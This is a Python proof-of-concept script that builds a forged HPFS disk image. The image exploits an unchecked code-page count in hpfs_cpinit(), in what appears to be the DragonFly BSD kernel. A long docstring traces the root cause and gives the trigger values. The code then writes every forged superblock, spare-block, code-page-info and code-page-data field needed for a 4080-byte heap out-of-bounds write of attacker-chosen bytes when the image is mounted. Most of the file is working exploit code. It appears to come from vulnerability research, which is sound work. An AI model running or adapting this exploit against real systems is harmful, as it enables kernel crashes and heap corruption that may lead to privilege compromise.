#!/usr/bin/env python3
"""
DF-0861 — Hand-crafted HPFS image triggering the unbounded code-page
inner-loop heap OOB WRITE in hpfs_cpinit()
(sys/vfs/hpfs/hpfs_subr.c:274,276,282,292,297 + hpfs_cpload bcopy :230).

Root cause
----------
hpfs_cpinit() at mount time does:

    cpicnt = hpmp->hpm_sp.sp_cpinum;                         [subr.c:274]
    hpmp->hpm_cpdblk = kmalloc(cpicnt * sizeof(struct cpdblk),  ...);  [:276]
    ...
    while (cpicnt > 0) {                                     [:282]
        bread(... lsn ...)                                   [:283]
        cpisp = (struct cpisec *)bp->b_data;
        cpibp = cpisp->s_cpi;
        for (i=0; i<cpisp->s_cpicnt;                         [:292]
                  i++, cpicnt--, cpdbp++, cpibp++) {
            error = hpfs_cpload(hpmp, cpibp, cpdbp);         [:297]
            ...
        }
    }

The OUTER while() is bounded by `cpicnt` (= sp_cpinum, the *total* number of
code pages on the volume), but the INNER for() is bounded by `cpisp->s_cpicnt`
(the count *in this single sector*, a SEPARATE on-disk u32).  `cpdbp` is
advanced on every inner iteration while only `cpicnt` (not `i`) is
decremented — so if a single code-page-info sector advertises
`s_cpicnt > sp_cpinum`, the inner loop runs `s_cpicnt` times and writes
`sizeof(struct cpdblk)` (=136 B) through `cpdbp` for `s_cpicnt` iterations,
overshooting the `cpicnt`-sized `hpm_cpdblk` array.

hpfs_cpload() (subr.c:210) performs the actual write:

    for (i=d_cpfirst; i<cpdsp->d_cpcnt; i++)                 [:228]
        if (cpdsp->d_cpdblk[i].b_cpid == cpibp->b_cpid) {
            bcopy(cpdsp->d_cpdblk + i, cpdbp,                [:230]
                  sizeof(struct cpdblk));
            return (0);
        }

i.e. 136 attacker-controlled disk bytes are written into the (overshot)
`cpdbp`.

Trigger values
--------------
    sp_cpinum = 1            -> cpicnt=1, kmalloc(1*136 = 136 B)
    s_cpicnt  = 0x1F (31)    -> inner loop runs 31 times
    iter 0 : cpdbp = &hpm_cpdblk[0]   (in bounds)
    iter 1..30: cpdbp = &hpm_cpdblk[1..30]  (30 * 136 = 4080 B OOB WRITE)

Each of the 30 OOB iterations writes 136 bytes of attacker-controlled disk
data (struct cpdblk, of which b_upcase[0x80]=128 B is freely forgeable) into
the slab neighbourhood of the 136-byte kmalloc -> heap corruption.

Image layout (sector size = 512 B, DEV_BSIZE):

  LSN     contents
  ----    ---------------------------------------------------------------
  0x00    boot sector (zeros + 0x55AA)
  0x10    SuperBlock   (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80;
                         su_bitmap.lsn1=0x30)
  0x11    SpareBlock   (magic FA5229C5F9911849; sp_cpinum=1; sp_cpi=0x60)
  0x20    root fnode   (VDIR; minimal)
  0x30    bitmap dir   (one u32 = 0x38)
  0x38    bitmap       (4 KB; mark metadata sectors used)
  0x40    dirblk       (minimal; not reached on mount but kept for sanity)
  0x48    file fnode   (minimal)
  0x50    file data
  0x60    cpisec       (s_cpicnt=0x1F; 31 cpiblk entries, b_cpid=1,
                         b_cpdsec=0x70)
  0x70    cpdsec       (d_cpcnt=1; d_cpfirst=0; d_cpdblk[0].b_cpid=1;
                         b_upcase filled with marker 0x41..0x...) -- this is
                         the attacker-controlled content bcopied OOB.

Mount (root):  mount_hpfs /dev/vnX /mnt
   -> hpfs_mountfs -> hpfs_bminit (ok) -> hpfs_cpinit -> inner loop overshoots
      -> 30 * 136 = 4080 B heap OOB write -> slab corruption / panic
      (INVARIANTS ON in GENERIC catches the slab damage).
"""
import struct, sys

SECTOR = 512
# magics
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
CPI_MAGIC = 0x494521F7
CPD_MAGIC = 0x894521F7

# struct fnode offsets (matches hpfs.h layout on amd64)
FN_OFF_MAGIC   = 0x00
FN_OFF_NAMELEN = 0x10
FN_OFF_NAME    = 0x11
FN_OFF_PARENT  = 0x20
FN_OFF_FLAG    = 0x3B
FN_OFF_AB      = 0x3C
FN_OFF_ABD     = 0x44
FN_OFF_SIZE    = 0xA4
AB_OFF_FLAG     = 0
AB_OFF_FREECNT  = 4
AB_OFF_BUSYCNT  = 5
AB_OFF_FREEOFF  = 6

# struct cpiblk offsets (hpfs.h:292), sizeof=16
CPIB_OFF_COUNTRY = 0   # u16
CPIB_OFF_CPID    = 2   # u16
CPIB_OFF_CKSUM   = 4   # u32
CPIB_OFF_CPDSEC  = 8   # lsn_t u32
CPIB_OFF_VCPID   = 12  # u16
CPIB_OFF_DBCSCNT = 14  # u16
CPIB_SIZE        = 16

# struct cpisec offsets (hpfs.h:302)
CPIS_OFF_MAGIC    = 0   # u32
CPIS_OFF_CPICNT   = 4   # u32  <-- attacker-controlled, unvalidated
CPIS_OFF_CPIFIRST = 8   # u32
CPIS_OFF_NEXT     = 12  # lsn_t u32
CPIS_OFF_CPI      = 16  # struct cpiblk s_cpi[0x1F] (31 entries)

# struct cpdsec offsets (hpfs.h:283)
CPDS_OFF_MAGIC   = 0   # u32
CPDS_OFF_CPCNT   = 4   # u16
CPDS_OFF_CPFIRST = 6   # u16
CPDS_OFF_CKSUM   = 8   # u32[3]
CPDS_OFF_OFFSET  = 20  # u16[3]
CPDS_OFF_CPDBLK  = 26  # struct cpdblk d_cpdblk[3]

# struct cpdblk offsets (hpfs.h:273), sizeof=136
CPDB_OFF_COUNTRY  = 0    # u16
CPDB_OFF_CPID     = 2    # u16
CPDB_OFF_DBCSCNT  = 4    # u16
CPDB_OFF_UPCASE   = 6    # char[0x80]   <-- attacker-controlled 128 bytes
CPDB_OFF_DBCSRNG  = 134  # u16
CPDB_SIZE         = 136


def build_image(outpath, sp_cpinum=1, s_cpicnt=0x1F):
    size = 0x80 * SECTOR
    img = bytearray(size)

    def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF)
    def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF)
    def wr8 (off, v): img[off] = v & 0xFF

    # ---- Boot sector ----
    img[0] = 0xEB
    wr16(SECTOR-2, 0xAA55)

    # ---- SuperBlock @ 0x10 ----
    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC)
    wr8 (su + 8, 2)              # su_hpfsver
    wr32(su + 12, 0x20)          # su_rootfno
    wr32(su + 16, 0x80)          # su_btotal (128 sectors)
    wr32(su + 24, 0x30)          # su_bitmap.lsn1
    wr32(su + 28, 0x30)          # su_bitmap.lsn2

    # ---- SpareBlock @ 0x11  (FORGED sp_cpinum + sp_cpi) ----
    sp = 0x11 * SECTOR
    wr64(sp + 0, SP_MAGIC)
    # sp_cpi lives at offset 0x58 in struct spblock (after sp_spdb array's
    # predecessor fields).  struct spblock layout (hpfs.h:82):
    #   0x00 sp_magic  u64
    #   0x08 sp_flag   u16
    #   0x0A sp_mmcontf u8
    #   0x0B unused    u8
    #   0x0C sp_hf     lsn_t u32
    #   0x10 sp_hfinuse u32
    #   0x14 sp_hfavail u32
    #   0x18 sp_spdbavail u32
    #   0x1C sp_spdbmax u32
    #   0x20 sp_cpi     lsn_t u32   <-- code-page-info sector pointer
    #   0x24 sp_cpinum  u32         <-- FORGED total code-page count
    SP_OFF_CPI    = 0x20
    SP_OFF_CPINUM = 0x24
    wr32(sp + SP_OFF_CPI, 0x60)         # sp_cpi  -> cpisec sector
    wr32(sp + SP_OFF_CPINUM, sp_cpinum) # sp_cpinum (forged)

    # ---- Bitmap dir @ 0x30 ----
    bd = 0x30 * SECTOR
    wr32(bd, 0x38)

    # ---- Bitmap @ 0x38 (mark metadata sectors 0x00..0x77 used) ----
    bm = 0x38 * SECTOR
    for i in range(0x80):
        byte = bm + (i >> 3)
        img[byte] |= (1 << (i & 7))   # default all-free
    for i in range(0x78):             # mark 0x00..0x77 used
        byte = bm + (i >> 3)
        img[byte] &= ~(1 << (i & 7))

    # ---- Root fnode @ 0x20 (VDIR, minimal) ----
    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8 (rf + FN_OFF_NAMELEN, 1)
    img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr32(rf + FN_OFF_FLAG, 1)        # VDIR
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 0
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    # ---- Dirblk @ 0x40 (minimal, empty-ish; not exercised at mount) ----
    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC)
    wr32(db + 4, 20)
    wr32(db + 8, 0)
    wr32(db + 12, 0x20)
    wr32(db + 16, 0x40)
    wr16(db + 20, 4 * SECTOR - 20)
    wr16(db + 22, 0x08)              # DE_END

    # ---- File fnode @ 0x48 (minimal) ----
    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr32(ff + FN_OFF_FLAG, 0)
    wr32(ff + FN_OFF_SIZE, 0)

    # ---- Code-page-info sector (cpisec) @ 0x60  (FORGED s_cpicnt=0x1F) ----
    cs = 0x60 * SECTOR
    wr32(cs + CPIS_OFF_MAGIC, CPI_MAGIC)
    wr32(cs + CPIS_OFF_CPICNT, s_cpicnt)   # FORGED: 31 entries in ONE sector
    wr32(cs + CPIS_OFF_CPIFIRST, 0)
    wr32(cs + CPIS_OFF_NEXT, 0)            # no next cpisec
    # 31 cpiblk entries: all b_cpid=1, all b_cpdsec=0x70 (the cpdsec sector)
    for k in range(0x1F):
        base = cs + CPIS_OFF_CPI + k * CPIB_SIZE
        wr16(base + CPIB_OFF_COUNTRY, 1)
        wr16(base + CPIB_OFF_CPID, 1)      # must match cpdsec's b_cpid
        wr32(base + CPIB_OFF_CKSUM, 0)
        wr32(base + CPIB_OFF_CPDSEC, 0x70) # -> cpdsec sector
        wr16(base + CPIB_OFF_VCPID, 1)
        wr16(base + CPIB_OFF_DBCSCNT, 0)

    # ---- Code-page-data sector (cpdsec) @ 0x70  (attacker content) ----
    ds = 0x70 * SECTOR
    wr32(ds + CPDS_OFF_MAGIC, CPD_MAGIC)
    wr16(ds + CPDS_OFF_CPCNT, 1)           # d_cpcnt=1
    wr16(ds + CPDS_OFF_CPFIRST, 0)         # d_cpfirst=0
    # d_cpdblk[0]: b_cpid=1 (matches), b_upcase filled with marker pattern
    b0 = ds + CPDS_OFF_CPDBLK + 0 * CPDB_SIZE
    wr16(b0 + CPDB_OFF_COUNTRY, 1)
    wr16(b0 + CPDB_OFF_CPID, 1)
    wr16(b0 + CPDB_OFF_DBCSCNT, 0)
    # marker: 0x41..0xC0 repeating in b_upcase[128] so leaked/OOB bytes are
    # unmistakably traceable to this crafted sector
    for j in range(0x80):
        img[b0 + CPDB_OFF_UPCASE + j] = (0x41 + j) & 0xFF
    wr16(b0 + CPDB_OFF_DBCSRNG, 0)

    with open(outpath, 'wb') as f:
        f.write(img)

    overflow_iters = max(0, s_cpicnt - sp_cpinum)
    overflow_bytes = overflow_iters * CPDB_SIZE
    print(f"wrote {outpath}: {len(img)} bytes")
    print(f"  sp_cpinum={sp_cpinum}  s_cpicnt={s_cpicnt}")
    print(f"  kmalloc(hpm_cpdblk) = {sp_cpinum}*{CPDB_SIZE} = {sp_cpinum*CPDB_SIZE} bytes")
    print(f"  inner loop writes    = {s_cpicnt} iters")
    print(f"  OOB iters            = {overflow_iters}")
    print(f"  OOB write            = {overflow_iters}*{CPDB_SIZE} = {overflow_bytes} bytes")


if __name__ == '__main__':
    cpinum = int(sys.argv[2], 0) if len(sys.argv) > 2 else 1
    scnt   = int(sys.argv[3], 0) if len(sys.argv) > 3 else 0x1F
    build_image(sys.argv[1] if len(sys.argv) > 1 else 'df861.img',
                sp_cpinum=cpinum, s_cpicnt=scnt)
